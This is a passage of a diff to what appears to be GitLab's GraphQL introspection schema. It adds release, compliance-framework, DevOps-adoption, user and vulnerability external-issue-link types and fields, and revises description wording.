}, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "CiConfig", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "containerRepository", "description": "Find a container repository", "args": [ @@ -51495,7 +55755,7 @@ }, { "name": "vulnerabilitiesCountByDayAndSeverity", - "description": "Number of vulnerabilities per severity level, per day, for the projects on the current user's instance security dashboard. Deprecated in 13.3: Use `vulnerabilitiesCountByDay`", + "description": "Number of vulnerabilities per severity level, per day, for the projects on the current user's instance security dashboard Deprecated in 13.3: Use `vulnerabilitiesCountByDay`.", "args": [ { "name": "startDate", @@ -51572,7 +55832,7 @@ "ofType": null }, "isDeprecated": true, - "deprecationReason": "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3" + "deprecationReason": "Use `vulnerabilitiesCountByDay`. Deprecated in 13.3." }, { "name": "vulnerability", @@ -52670,6 +56930,122 @@ "possibleTypes": null }, { + "kind": "INPUT_OBJECT", + "name": "ReleaseDeleteInput", + "description": "Autogenerated input type of ReleaseDelete", + "fields": null, + "inputFields": [ + { + "name": "projectPath", + "description": "Full path of the project the release is associated with", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "tagName", + "description": "Name of the tag associated with the release to delete.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "ReleaseDeletePayload", + "description": "Autogenerated return type of ReleaseDelete", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "release", + "description": "The deleted release.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "Release", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "ReleaseEdge", "description": "An edge in a connection.", @@ -53200,13 +57576,177 @@ }, { "kind": "INPUT_OBJECT", + "name": "ReleaseUpdateInput", + "description": "Autogenerated input type of ReleaseUpdate", + "fields": null, + "inputFields": [ + { + "name": "projectPath", + "description": "Full path of the project the release is associated with", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "tagName", + "description": "Name of the tag associated with the release", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "name", + "description": "Name of the release", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "description", + "description": "Description (release notes) of the release", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "releasedAt", + "description": "The release date", + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "milestones", + "description": "The title of each milestone the release is associated with. GitLab Premium customers can specify group milestones.", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "ReleaseUpdatePayload", + "description": "Autogenerated return type of ReleaseUpdate", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "release", + "description": "The release after mutation.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "Release", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", "name": "RemoveAwardEmojiInput", "description": "Autogenerated input type of RemoveAwardEmoji", "fields": null, "inputFields": [ { "name": "awardableId", - "description": "The global id of the awardable resource", + "description": "The global ID of the awardable resource", "type": { "kind": "NON_NULL", "name": null, @@ -53410,7 +57950,7 @@ "inputFields": [ { "name": "id", - "description": "The global id of the DiffNote to update", + "description": "The global ID of the DiffNote to update", "type": { "kind": "NON_NULL", "name": null, @@ -57602,8 +62142,8 @@ "description": "Collection of Sentry Errors", "args": [ { - "name": "after", - "description": "Returns the elements in the list that come after the specified cursor.", + "name": "searchTerm", + "description": "Search query for the Sentry error details", "type": { "kind": "SCALAR", "name": "String", @@ -57612,8 +62152,8 @@ "defaultValue": null }, { - "name": "before", - "description": "Returns the elements in the list that come before the specified cursor.", + "name": "sort", + "description": "Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default", "type": { "kind": "SCALAR", "name": "String", @@ -57622,41 +62162,41 @@ "defaultValue": null }, { - "name": "first", - "description": "Returns the first _n_ elements from the list.", + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", "type": { "kind": "SCALAR", - "name": "Int", + "name": "String", "ofType": null }, "defaultValue": null }, { - "name": "last", - "description": "Returns the last _n_ elements from the list.", + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", "type": { "kind": "SCALAR", - "name": "Int", + "name": "String", "ofType": null }, "defaultValue": null }, { - "name": "searchTerm", - "description": "Search query for the Sentry error details", + "name": "first", + "description": "Returns the first _n_ elements from the list.", "type": { "kind": "SCALAR", - "name": "String", + "name": "Int", "ofType": null }, "defaultValue": null }, { - "name": "sort", - "description": "Attribute to sort on. Options are frequency, first_seen, last_seen. last_seen is default", + "name": "last", + "description": "Returns the last _n_ elements from the list.", "type": { "kind": "SCALAR", - "name": "String", + "name": "Int", "ofType": null }, "defaultValue": null @@ -58369,6 +62909,12 @@ "deprecationReason": null }, { + "name": "DATADOG_SERVICE", + "description": null, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "DISCORD_SERVICE", "description": null, "isDeprecated": false, @@ -58554,7 +63100,7 @@ }, { "name": "blob", - "description": "Snippet blob. Deprecated in 13.3: Use `blobs`", + "description": "Snippet blob Deprecated in 13.3: Use `blobs`.", "args": [ ], @@ -58568,7 +63114,7 @@ } }, "isDeprecated": true, - "deprecationReason": "Use `blobs`. Deprecated in 13.3" + "deprecationReason": "Use `blobs`. Deprecated in 13.3." }, { "name": "blobs", @@ -60037,25 +64583,25 @@ "name": "updated_desc", "description": "Updated at descending order", "isDeprecated": true, - "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5" + "deprecationReason": "Use UPDATED_DESC. Deprecated in 13.5." }, { "name": "updated_asc", "description": "Updated at ascending order", "isDeprecated": true, - "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5" + "deprecationReason": "Use UPDATED_ASC. Deprecated in 13.5." }, { "name": "created_desc", "description": "Created at descending order", "isDeprecated": true, - "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5" + "deprecationReason": "Use CREATED_DESC. Deprecated in 13.5." }, { "name": "created_asc", "description": "Created at ascending order", "isDeprecated": true, - "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5" + "deprecationReason": "Use CREATED_ASC. Deprecated in 13.5." }, { "name": "UPDATED_DESC", @@ -61060,6 +65606,20 @@ "deprecationReason": null }, { + "name": "downloadPath", + "description": "URL for downloading the version's JSON file", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "id", "description": "ID of the Terraform state version", "args": [ @@ -61092,6 +65652,20 @@ "deprecationReason": null }, { + "name": "serial", + "description": "Serial number of the version", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "updatedAt", "description": "Timestamp the version was updated", "args": [ @@ -62471,7 +67045,7 @@ "inputFields": [ { "name": "id", - "description": "The global id of the todo to mark as done", + "description": "The global ID of the todo to mark as done", "type": { "kind": "NON_NULL", "name": null, @@ -62577,7 +67151,7 @@ "inputFields": [ { "name": "id", - "description": "The global id of the todo to restore", + "description": "The global ID of the todo to restore", "type": { "kind": "NON_NULL", "name": null, @@ -62612,7 +67186,7 @@ "inputFields": [ { "name": "ids", - "description": "The global ids of the todos to restore (a maximum of 50 is supported at once)", + "description": "The global IDs of the todos to restore (a maximum of 50 is supported at once)", "type": { "kind": "NON_NULL", "name": null, @@ -62720,7 +67294,7 @@ }, { "name": "updatedIds", - "description": "The ids of the updated todo items. Deprecated in 13.2: Use todos", + "description": "The IDs of the updated todo items Deprecated in 13.2: Use todos.", "args": [ ], @@ -62742,7 +67316,7 @@ } }, "isDeprecated": true, - "deprecationReason": "Use todos. Deprecated in 13.2" + "deprecationReason": "Use todos. Deprecated in 13.2." } ], "inputFields": null, @@ -62997,7 +67571,7 @@ }, { "name": "updatedIds", - "description": "Ids of the updated todos. Deprecated in 13.2: Use todos", + "description": "Ids of the updated todos Deprecated in 13.2: Use todos.", "args": [ ], @@ -63019,7 +67593,7 @@ } }, "isDeprecated": true, - "deprecationReason": "Use todos. Deprecated in 13.2" + "deprecationReason": "Use todos. Deprecated in 13.2." } ], "inputFields": null, @@ -63037,7 +67611,7 @@ "inputFields": [ { "name": "awardableId", - "description": "The global id of the awardable resource", + "description": "The global ID of the awardable resource", "type": { "kind": "NON_NULL", "name": null, @@ -63681,7 +68255,7 @@ }, { "name": "iid", - "description": "The iid of the alert to mutate", + "description": "The IID of the alert to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -63954,22 +68528,8 @@ "fields": null, "inputFields": [ { - "name": "id", - "description": "The board global id.", - "type": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "BoardID", - "ofType": null - } - }, - "defaultValue": null - }, - { "name": "name", - "description": "Name of the board", + "description": "The board name.", "type": { "kind": "SCALAR", "name": "String", @@ -63979,7 +68539,7 @@ }, { "name": "hideBacklogList", - "description": "Whether or not backlog list is hidden.", + "description": "Whether or not backlog list is hidden", "type": { "kind": "SCALAR", "name": "Boolean", @@ -63989,7 +68549,7 @@ }, { "name": "hideClosedList", - "description": "Whether or not closed list is hidden.", + "description": "Whether or not closed list is hidden", "type": { "kind": "SCALAR", "name": "Boolean", @@ -63998,67 +68558,15 @@ "defaultValue": null }, { - "name": "assigneeId", - "description": "The id of user to be assigned to the board.", - "type": { - "kind": "SCALAR", - "name": "UserID", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "milestoneId", - "description": "The id of milestone to be assigned to the board.", - "type": { - "kind": "SCALAR", - "name": "MilestoneID", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "weight", - "description": "The weight value to be assigned to the board.", - "type": { - "kind": "SCALAR", - "name": "Int", - "ofType": null - }, - "defaultValue": null - }, - { - "name": "labels", - "description": "Labels of the issue", - "type": { - "kind": "LIST", - "name": null, - "ofType": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "String", - "ofType": null - } - } - }, - "defaultValue": null - }, - { - "name": "labelIds", - "description": "The IDs of labels to be added to the board.", + "name": "id", + "description": "The board global ID.", "type": { - "kind": "LIST", + "kind": "NON_NULL", "name": null, "ofType": { - "kind": "NON_NULL", - "name": null, - "ofType": { - "kind": "SCALAR", - "name": "LabelID", - "ofType": null - } + "kind": "SCALAR", + "name": "BoardID", + "ofType": null } }, "defaultValue": null @@ -64269,6 +68777,138 @@ }, { "kind": "INPUT_OBJECT", + "name": "UpdateComplianceFrameworkInput", + "description": "Autogenerated input type of UpdateComplianceFramework", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "The global ID of the compliance framework to update", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "ComplianceManagementFrameworkID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "name", + "description": "New name for the compliance framework", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "description", + "description": "New description for the compliance framework", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "color", + "description": "New color representation of the compliance framework in hex format. e.g. #FCA121", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "UpdateComplianceFrameworkPayload", + "description": "Autogenerated return type of UpdateComplianceFramework", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "complianceFramework", + "description": "The compliance framework after mutation", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "ComplianceFramework", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", "name": "UpdateContainerExpirationPolicyInput", "description": "Autogenerated input type of UpdateContainerExpirationPolicy", "fields": null, @@ -64431,6 +69071,140 @@ }, { "kind": "INPUT_OBJECT", + "name": "UpdateDevopsAdoptionSegmentInput", + "description": "Autogenerated input type of UpdateDevopsAdoptionSegment", + "fields": null, + "inputFields": [ + { + "name": "name", + "description": "Name of the segment", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "groupIds", + "description": "The array of group IDs to set for the segment", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "GroupID", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "id", + "description": "ID of the segment", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "AnalyticsDevopsAdoptionSegmentID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + } + ], + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "UpdateDevopsAdoptionSegmentPayload", + "description": "Autogenerated return type of UpdateDevopsAdoptionSegment", + "fields": [ + { + "name": "clientMutationId", + "description": "A unique identifier for the client performing the mutation.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "errors", + "description": "Errors encountered during execution of the mutation.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "segment", + "description": "The segment after mutation", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "DevopsAdoptionSegment", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", "name": "UpdateDiffImagePositionInput", "description": null, "fields": null, @@ -64488,7 +69262,7 @@ "inputFields": [ { "name": "iid", - "description": "The iid of the epic to mutate", + "description": "The IID of the epic to mutate", "type": { "kind": "NON_NULL", "name": null, @@ -64720,7 +69494,7 @@ "inputFields": [ { "name": "id", - "description": "The global id of the note to update", + "description": "The global ID of the note to update", "type": { "kind": "NON_NULL", "name": null, @@ -65094,7 +69868,7 @@ "inputFields": [ { "name": "groupPath", - "description": "The group of the iteration", + "description": "Group of the iteration.", "type": { "kind": "NON_NULL", "name": null, @@ -65108,7 +69882,7 @@ }, { "name": "id", - "description": "The id of the iteration", + "description": "Global ID of the iteration.", "type": { "kind": "NON_NULL", "name": null, @@ -65122,7 +69896,7 @@ }, { "name": "title", - "description": "The title of the iteration", + "description": "Title of the iteration.", "type": { "kind": "SCALAR", "name": "String", @@ -65132,7 +69906,7 @@ }, { "name": "description", - "description": "The description of the iteration", + "description": "Description of the iteration.", "type": { "kind": "SCALAR", "name": "String", @@ -65142,7 +69916,7 @@ }, { "name": "startDate", - "description": "The start date of the iteration", + "description": "Start date of the iteration.", "type": { "kind": "SCALAR", "name": "String", @@ -65152,7 +69926,7 @@ }, { "name": "dueDate", - "description": "The end date of the iteration", + "description": "End date of the iteration.", "type": { "kind": "SCALAR", "name": "String", @@ -65222,7 +69996,7 @@ }, { "name": "iteration", - "description": "The updated iteration", + "description": "Updated iteration.", "args": [ ], @@ -65250,7 +70024,7 @@ "inputFields": [ { "name": "id", - "description": "The global id of the note to update", + "description": "The global ID of the note to update", "type": { "kind": "NON_NULL", "name": null, @@ -65416,7 +70190,7 @@ }, { "name": "iid", - "description": "The iid of the requirement to update", + "description": "The IID of the requirement to update", "type": { "kind": "NON_NULL", "name": null, @@ -65528,7 +70302,7 @@ "inputFields": [ { "name": "id", - "description": "The global id of the snippet to update", + "description": "The global ID of the snippet to update", "type": { "kind": "NON_NULL", "name": null, @@ -65856,6 +70630,16 @@ "defaultValue": null }, { + "name": "reviewerUsername", + "description": "Username of the reviewer", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -66061,6 +70845,16 @@ "defaultValue": null }, { + "name": "reviewerUsername", + "description": "Username of the reviewer", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { "name": "after", "description": "Returns the elements in the list that come after the specified cursor.", "type": { @@ -66125,7 +70919,7 @@ }, { "name": "email", - "description": "User email", + "description": "User email Deprecated in 13.7: Use public_email.", "args": [ ], @@ -66134,12 +70928,12 @@ "name": "String", "ofType": null }, - "isDeprecated": false, - "deprecationReason": null + "isDeprecated": true, + "deprecationReason": "Use public_email. Deprecated in 13.7." }, { "name": "groupCount", - "description": "Group count for the user. Available only when feature flag `user_group_counts` is enabled", + "description": "Group count for the user Available only when feature flag `user_group_counts` is enabled.", "args": [ ], @@ -66223,6 +71017,20 @@ "deprecationReason": null }, { + "name": "location", + "description": "The location of the user.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "name", "description": "Human-readable name of the user", "args": [ @@ -66294,6 +71102,235 @@ "deprecationReason": null }, { + "name": "publicEmail", + "description": "User's public email", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "reviewRequestedMergeRequests", + "description": "Merge Requests assigned to the user for review", + "args": [ + { + "name": "iids", + "description": "Array of IIDs of merge requests, for example `[1, 2]`", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "sourceBranches", + "description": "Array of source branch names. All resolved merge requests will have one of these branches as their source.", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "targetBranches", + "description": "Array of target branch names. All resolved merge requests will have one of these branches as their target.", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "state", + "description": "A merge request state. If provided, all resolved merge requests will have this state.", + "type": { + "kind": "ENUM", + "name": "MergeRequestState", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "labels", + "description": "Array of label names. All resolved merge requests will have all of these labels.", + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "String", + "ofType": null + } + } + }, + "defaultValue": null + }, + { + "name": "mergedAfter", + "description": "Merge requests merged after this date", + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "mergedBefore", + "description": "Merge requests merged before this date", + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "milestoneTitle", + "description": "Title of the milestone", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "sort", + "description": "Sort merge requests by this criteria", + "type": { + "kind": "ENUM", + "name": "MergeRequestSort", + "ofType": null + }, + "defaultValue": "created_desc" + }, + { + "name": "projectPath", + "description": "The full-path of the project the authored merge requests should be in. Incompatible with projectId.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "projectId", + "description": "The global ID of the project the authored merge requests should be in. Incompatible with projectPath.", + "type": { + "kind": "SCALAR", + "name": "ProjectID", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "authorUsername", + "description": "Username of the author", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "assigneeUsername", + "description": "Username of the assignee", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "OBJECT", + "name": "MergeRequestConnection", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "snippets", "description": "Snippets authored by the user", "args": [ @@ -67474,11 +72511,35 @@ "possibleTypes": null }, { + "kind": "SCALAR", + "name": "VulnerabilitiesExternalIssueLinkID", + "description": "Identifier of Vulnerabilities::ExternalIssueLink", + "fields": null, + "inputFields": null, + "interfaces": null, + "enumValues": null, + "possibleTypes": null + }, + { "kind": "OBJECT", "name": "Vulnerability", "description": "Represents a vulnerability", "fields": [ { + "name": "confirmedAt", + "description": "Timestamp of when the vulnerability state was changed to confirmed", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "description", "description": "Description of the vulnerability", "args": [ @@ -67568,6 +72629,91 @@ "deprecationReason": null }, { + "name": "dismissedAt", + "description": "Timestamp of when the vulnerability state was changed to dismissed", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "externalIssueLinks", + "description": "List of external issue links related to the vulnerability", + "args": [ + { + "name": "after", + "description": "Returns the elements in the list that come after the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "before", + "description": "Returns the elements in the list that come before the specified cursor.", + "type": { + "kind": "SCALAR", + "name": "String", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "first", + "description": "Returns the first _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + }, + { + "name": "last", + "description": "Returns the last _n_ elements from the list.", + "type": { + "kind": "SCALAR", + "name": "Int", + "ofType": null + }, + "defaultValue": null + } + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "VulnerabilityExternalIssueLinkConnection", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "hasSolutions", + "description": "Indicates whether there is a solution available for this vulnerability.", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Boolean", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "id", "description": "GraphQL ID of the vulnerability", "args": [ @@ -67693,6 +72839,20 @@ "deprecationReason": null }, { + "name": "mergeRequest", + "description": "Merge request that fixes the vulnerability.", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "MergeRequest", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "notes", "description": "All notes on this noteable", "args": [ @@ -67792,6 +72952,20 @@ "deprecationReason": null }, { + "name": "resolvedAt", + "description": "Timestamp of when the vulnerability state was changed to resolved", + "args": [ + + ], + "type": { + "kind": "SCALAR", + "name": "Time", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { "name": "resolvedOnDefaultBranch", "description": "Indicates whether the vulnerability is fixed on the default branch or not", "args": [ @@ -68254,6 +73428,433 @@ "possibleTypes": null }, { + "kind": "OBJECT", + "name": "VulnerabilityExternalIssueLink", + "description": "Represents an external issue link of a vulnerability", + "fields": [ + { + "name": "externalIssue", + "description": "The external issue attached to the issue link", + "args": [ + + ], + "type": { + "kind": "OBJECT", + "name": "ExternalIssue", + "ofType": null + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "id", + "description": "GraphQL ID of the external issue link", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "VulnerabilitiesExternalIssueLinkID", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "linkType", + "description": "Type of the external issue link", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "VulnerabilityExternalIssueLinkType", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "OBJECT", + "name": "VulnerabilityExternalIssueLinkConnection", + "description": "The connection type for VulnerabilityExternalIssueLink.", + "fields": [ + { + "name": "edges", + "description": "A list of edges.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "VulnerabilityExternalIssueLinkEdge", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "nodes", + "description": "A list of nodes.", + "args": [ + + ], + "type": { + "kind": "LIST", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "VulnerabilityExternalIssueLink", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + }, + { + "name": "pageInfo", + "description": "Information to aid in pagination.", + "args": [ + + ], + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "OBJECT", + "name": "PageInfo", + "ofType": null + } + }, + "isDeprecated": false, + "deprecationReason": null + } + ], + "inputFields": null, + "interfaces": [ + + ], + "enumValues": null, + "possibleTypes": null + }, + { + "kind": "INPUT_OBJECT", + "name": "VulnerabilityExternalIssueLinkCreateInput", + "description": "Autogenerated input type of VulnerabilityExternalIssueLinkCreate", + "fields": null, + "inputFields": [ + { + "name": "id", + "description": "ID of the vulnerability.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "SCALAR", + "name": "VulnerabilityID", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "linkType", + "description": "Type of the external issue link.", + "type": { + "kind": "NON_NULL", + "name": null, + "ofType": { + "kind": "ENUM", + "name": "VulnerabilityExternalIssueLinkType", + "ofType": null + } + }, + "defaultValue": null + }, + { + "name": "externalTracker", + "description": "External tracker type of the external issue link.", + "type": { 